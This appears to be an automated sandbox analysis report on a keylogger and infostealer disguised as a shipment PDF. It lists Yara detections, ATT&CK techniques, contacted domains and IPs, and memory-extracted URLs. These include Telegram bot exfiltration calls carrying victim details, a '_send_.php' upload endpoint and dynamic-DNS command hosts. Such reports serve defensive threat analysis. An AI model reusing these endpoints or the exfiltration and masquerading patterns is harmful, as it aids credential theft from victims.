Source: Yara match	File source: 0.2.Shipment 990847575203.pdf.exe.42c9970.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.3573869658.0000000000430000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2423614663.00000000042C9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Shipment 990847575203.pdf.exe PID: 5192, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7252, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7704, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 0.2.Shipment 990847575203.pdf.exe.430d590.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Shipment 990847575203.pdf.exe.42c9970.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Shipment 990847575203.pdf.exe.430d590.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Shipment 990847575203.pdf.exe.42c9970.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.3578489712.0000000003274000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3578857774.0000000002A9A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3573869658.0000000000430000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2423614663.00000000042C9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Shipment 990847575203.pdf.exe PID: 5192, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7704, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	311 Process Injection	11 Masquerading	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 Scheduled Task/Job	11 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	11 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Data from Local System	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	311 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 System Network Configuration Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	13 Obfuscated Files or Information	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	13 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Shipment 990847575203.pdf.exe	66%	ReversingLabs	Win32.Infostealer.Generic
Shipment 990847575203.pdf.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\FZcXKpA.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\FZcXKpA.exe	66%	ReversingLabs	Win32.Infostealer.Generic

Source	Detection	Scanner	Label	Link
http://kashmirestore.com	0%	Avira URL Cloud	safe
http://go.microsoHX	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
kashmirestore.com	119.18.54.39	true	false	high
reallyfreegeoip.org	172.67.177.134	true	false	high
api.telegram.org	149.154.167.220	true	false	high
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	high
checkip.dyndns.com	158.101.44.242	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:226533%0D%0ADate%20and%20Time:%2015/12/2024%20/%2013:48:37%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20226533%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false	high
https://reallyfreegeoip.org/xml/8.46.123.189	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:226533%0D%0ADate%20and%20Time:%2016/12/2024%20/%2009:08:51%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20226533%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false	high
http://checkip.dyndns.org/	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.office.com/	MSBuild.exe, 00000011.00000002.3578489712.000000000324A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	MSBuild.exe, 00000009.00000002.3584071371.00000000038F2000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.3584071371.0000000003BE4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3583881759.0000000004392000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	MSBuild.exe, 00000009.00000002.3584071371.00000000038F2000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.3584071371.0000000003BE4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3583881759.0000000004392000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org	MSBuild.exe, 00000009.00000002.3578857774.00000000029B8000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3578489712.0000000003168000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	MSBuild.exe, 00000009.00000002.3584071371.00000000038F2000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.3584071371.0000000003BE4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3583881759.0000000004392000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	Shipment 990847575203.pdf.exe, 00000000.00000002.2423614663.00000000042C9000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.3578857774.00000000029B8000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3578489712.0000000003168000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3573869658.0000000000430000.00000040.00000400.00020000.00000000.sdmp	false		high
http://go.microso	MSBuild.exe, 00000009.00000002.3575088087.0000000000B36000.00000004.00000020.00020000.00000000.sdmp	false		high
http://tempuri.org/kviskotekaDbDataSet.xsdcIgra	Shipment 990847575203.pdf.exe, FZcXKpA.exe.0.dr	false		high
https://www.office.com/lB	MSBuild.exe, 00000009.00000002.3578857774.0000000002A95000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	MSBuild.exe, 00000009.00000002.3584071371.00000000038F2000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.3584071371.0000000003BE4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3583881759.0000000004392000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org	MSBuild.exe, 00000009.00000002.3578857774.00000000028D1000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3578489712.0000000003081000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	MSBuild.exe, 00000009.00000002.3584071371.00000000038F2000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.3584071371.0000000003BE4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3583881759.0000000004392000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3583881759.00000000040A3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot/sendMessage?chat_id=&text=	MSBuild.exe, 00000009.00000002.3578857774.00000000029B8000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3578489712.0000000003168000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore?hl=en	MSBuild.exe, 00000011.00000002.3578489712.0000000003218000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3578489712.0000000003209000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	MSBuild.exe, 00000009.00000002.3584071371.00000000038F2000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.3584071371.0000000003BE4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3583881759.0000000004392000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3583881759.00000000040A3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore?hl=en8	MSBuild.exe, 00000011.00000002.3578489712.0000000003209000.00000004.00000800.00020000.00000000.sdmp	false		high
http://varders.kozow.com:8081	Shipment 990847575203.pdf.exe, 00000000.00000002.2423614663.00000000042C9000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.3578857774.00000000028D1000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3578489712.0000000003081000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3573869658.0000000000430000.00000040.00000400.00020000.00000000.sdmp	false		high
http://aborters.duckdns.org:8081	Shipment 990847575203.pdf.exe, 00000000.00000002.2423614663.00000000042C9000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.3578857774.00000000028D1000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3578489712.0000000003081000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3573869658.0000000000430000.00000040.00000400.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	MSBuild.exe, 00000009.00000002.3584071371.00000000038F2000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.3584071371.0000000003BE4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3583881759.0000000004392000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3583881759.00000000040A3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://kashmirestore.com	MSBuild.exe, 00000009.00000002.3578857774.0000000002AD7000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.3578857774.0000000002A9A000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3578489712.0000000003274000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:226533%0D%0ADate%20a	MSBuild.exe, 00000009.00000002.3578857774.00000000029B8000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3578489712.0000000003168000.00000004.00000800.00020000.00000000.sdmp	false		high
http://51.38.247.67:8081/_send_.php?L	MSBuild.exe, 00000009.00000002.3578857774.0000000002A9A000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3578489712.0000000003274000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.office.com/p	MSBuild.exe, 00000009.00000002.3578857774.0000000002A8B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anotherarmy.dns.army:8081	Shipment 990847575203.pdf.exe, 00000000.00000002.2423614663.00000000042C9000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.3578857774.00000000028D1000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3578489712.0000000003081000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3573869658.0000000000430000.00000040.00000400.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	MSBuild.exe, 00000009.00000002.3584071371.00000000038F2000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.3584071371.0000000003BE4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3583881759.0000000004392000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3583881759.00000000040A3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org/q	Shipment 990847575203.pdf.exe, 00000000.00000002.2423614663.00000000042C9000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3573869658.0000000000430000.00000040.00000400.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore?hl=enlB	MSBuild.exe, 00000011.00000002.3578489712.0000000003213000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/8.46.123.189$	MSBuild.exe, 00000009.00000002.3578857774.000000000294D000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.3578857774.0000000002992000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.3578857774.00000000029B8000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3578489712.00000000030FC000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3578489712.0000000003168000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3578489712.0000000003141000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org	MSBuild.exe, 00000009.00000002.3578857774.0000000002992000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.3578857774.0000000002922000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.3578857774.00000000029B8000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3578489712.00000000030D2000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3578489712.0000000003168000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3578489712.0000000003141000.00000004.00000800.00020000.00000000.sdmp	false		high
http://go.microsoHX	MSBuild.exe, 00000009.00000002.3575088087.0000000000B36000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Shipment 990847575203.pdf.exe, 00000000.00000002.2421064302.00000000032F7000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.3578857774.00000000028D1000.00000004.00000800.00020000.00000000.sdmp, FZcXKpA.exe, 0000000A.00000002.2539468876.0000000003317000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3578489712.0000000003081000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	MSBuild.exe, 00000009.00000002.3584071371.00000000038F2000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.3584071371.0000000003BE4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3583881759.0000000004392000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3583881759.00000000040A3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	Shipment 990847575203.pdf.exe, 00000000.00000002.2423614663.00000000042C9000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3573869658.0000000000430000.00000040.00000400.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/	Shipment 990847575203.pdf.exe, 00000000.00000002.2423614663.00000000042C9000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.3578857774.0000000002922000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3578489712.00000000030D2000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3573869658.0000000000430000.00000040.00000400.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
193.122.6.168	unknown	United States	31898	ORACLE-BMC-31898US	false
119.18.54.39	kashmirestore.com	India	394695	PUBLIC-DOMAIN-REGISTRYUS	false
158.101.44.242	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
172.67.177.134	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
132.226.247.73	unknown	United States	16989	UTMEMUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1575105
Start date and time:	2024-12-14 13:48:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Shipment 990847575203.pdf.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@21/15@6/6
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 199 Number of non-executed functions: 8
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.218.208.109, 20.198.119.143, 4.245.163.56, 199.232.214.172, 20.242.39.171, 192.229.221.95, 20.12.23.50
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com, wns.notify.trafficmanager.net, fe3.delivery.mp.microsoft.com, ocsp.digicert.com, e16604.g.akamaiedge.net, glb.cws.prod.dcat.dsp.trafficmanager.net, ocsp.edge.digicert.com, sls.update.microsoft.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: Shipment 990847575203.pdf.exe

Simulations

Behavior and APIs

Time	Type	Description
07:49:30	API Interceptor	1x Sleep call for process: Shipment 990847575203.pdf.exe modified
07:49:34	API Interceptor	33x Sleep call for process: powershell.exe modified
07:49:39	API Interceptor	2614857x Sleep call for process: MSBuild.exe modified
07:49:42	API Interceptor	1x Sleep call for process: FZcXKpA.exe modified
13:49:36	Task Scheduler	Run new task: FZcXKpA path: C:\Users\user\AppData\Roaming\FZcXKpA.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	gjvU5KOFhX.exe	Get hash	malicious	Discord Token Stealer, Millenuim RAT	Browse
	hvqc3lk7ly.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse
	888.exe	Get hash	malicious	Luca Stealer	Browse
	888.exe	Get hash	malicious	Luca Stealer	Browse
	https://grizzled-overjoyed-bag.glitch.me/#comercial.portugal@eurofred.com	Get hash	malicious	HTMLPhisher	Browse
	XClient.exe	Get hash	malicious	XWorm	Browse
	file.exe	Get hash	malicious	Discord Token Stealer, Millenuim RAT	Browse
	Ziraat Bankasi Swift Mesaji.exe	Get hash	malicious	MassLogger RAT	Browse
193.122.6.168	Ziraat Bankasi Swift Mesaji.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	Request for Quotations and specifications.pdf.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	Confirm revised invoice to proceed with payment ASAP.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	REQUEST FOR QUOATION AND PRICES 0108603076-24_pdf.exe	Get hash	malicious	GuLoader	Browse	checkip.dyndns.org/
	Bank Swift and SOA PRN0072700314159453_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	New_Order_List.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	file.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Payment Confirmation..docm	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.telegram.org	gjvU5KOFhX.exe	Get hash	malicious	Discord Token Stealer, Millenuim RAT	Browse	149.154.167.220
	hvqc3lk7ly.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	149.154.167.220
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	888.exe	Get hash	malicious	Luca Stealer	Browse	149.154.167.220
	888.exe	Get hash	malicious	Luca Stealer	Browse	149.154.167.220
	https://grizzled-overjoyed-bag.glitch.me/#comercial.portugal@eurofred.com	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	XClient.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	file.exe	Get hash	malicious	Discord Token Stealer, Millenuim RAT	Browse	149.154.167.220
	Ziraat Bankasi Swift Mesaji.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
kashmirestore.com	Ti5nuRV7y4.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	119.18.54.39
	xz8lxAetNu.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	119.18.54.39
	05.11.241591883_UyeIsyeriCalismanKosullari.xlxs.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	119.18.54.39
	0kqoTVd5tK.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	119.18.54.39
bg.microsoft.map.fastly.net	xu27D0L6Ak.exe	Get hash	malicious	DCRat	Browse	199.232.210.172
	Documents.pdf	Get hash	malicious	Remcos, DBatLoader	Browse	199.232.214.172
	FW_ TBI Construction Company.eml	Get hash	malicious	Unknown	Browse	199.232.210.172
	cv.docm	Get hash	malicious	Unknown	Browse	199.232.214.172
	rsIMIwPUAU.doc	Get hash	malicious	Unknown	Browse	199.232.210.172
	CwsM6q5l8O.doc	Get hash	malicious	Unknown	Browse	199.232.210.172
	5XrJcH26DG.docx	Get hash	malicious	Unknown	Browse	199.232.210.172
	UKBHxdhIyJ.docx	Get hash	malicious	Sidewinder	Browse	199.232.210.172
	6msSC60iZ1.doc	Get hash	malicious	Sidewinder	Browse	199.232.210.172
	PyrNUtAUkw.docx	Get hash	malicious	Unknown	Browse	199.232.210.172
reallyfreegeoip.org	file.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	77541373_BESOZT00_2024_99101234_1_4_1.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	Ziraat Bankasi Swift Mesaji.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	Request for Quotations and specifications.pdf.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	hesaphareketi-01.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	hesaphareketi-01.pdfsxlx..exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	41570002689_20220814_05352297_HesapOzeti.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ORACLE-BMC-31898US	elitebotnet.x86.elf	Get hash	malicious	Mirai, Okiru	Browse	140.204.52.53
	77541373_BESOZT00_2024_99101234_1_4_1.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	AsyncClient.exe	Get hash	malicious	AsyncRAT, HVNC, PureLog Stealer	Browse	193.122.130.0
	Ziraat Bankasi Swift Mesaji.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	Non_disclosure_agreement.lnk.download.lnk	Get hash	malicious	Unknown	Browse	192.29.14.118
	Request for Quotations and specifications.pdf.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
	hesaphareketi-01.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	hesaphareketi-01.pdfsxlx..exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	T#U00fcbitak SAGE RfqF#U0334D#U0334P#U0334..exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
TELEGRAMRU	7VfKPMdmiX.exe	Get hash	malicious	Unknown	Browse	149.154.167.99
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	149.154.167.99
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	149.154.167.99
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	149.154.167.99
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	149.154.167.99
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	149.154.167.99
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	149.154.167.99
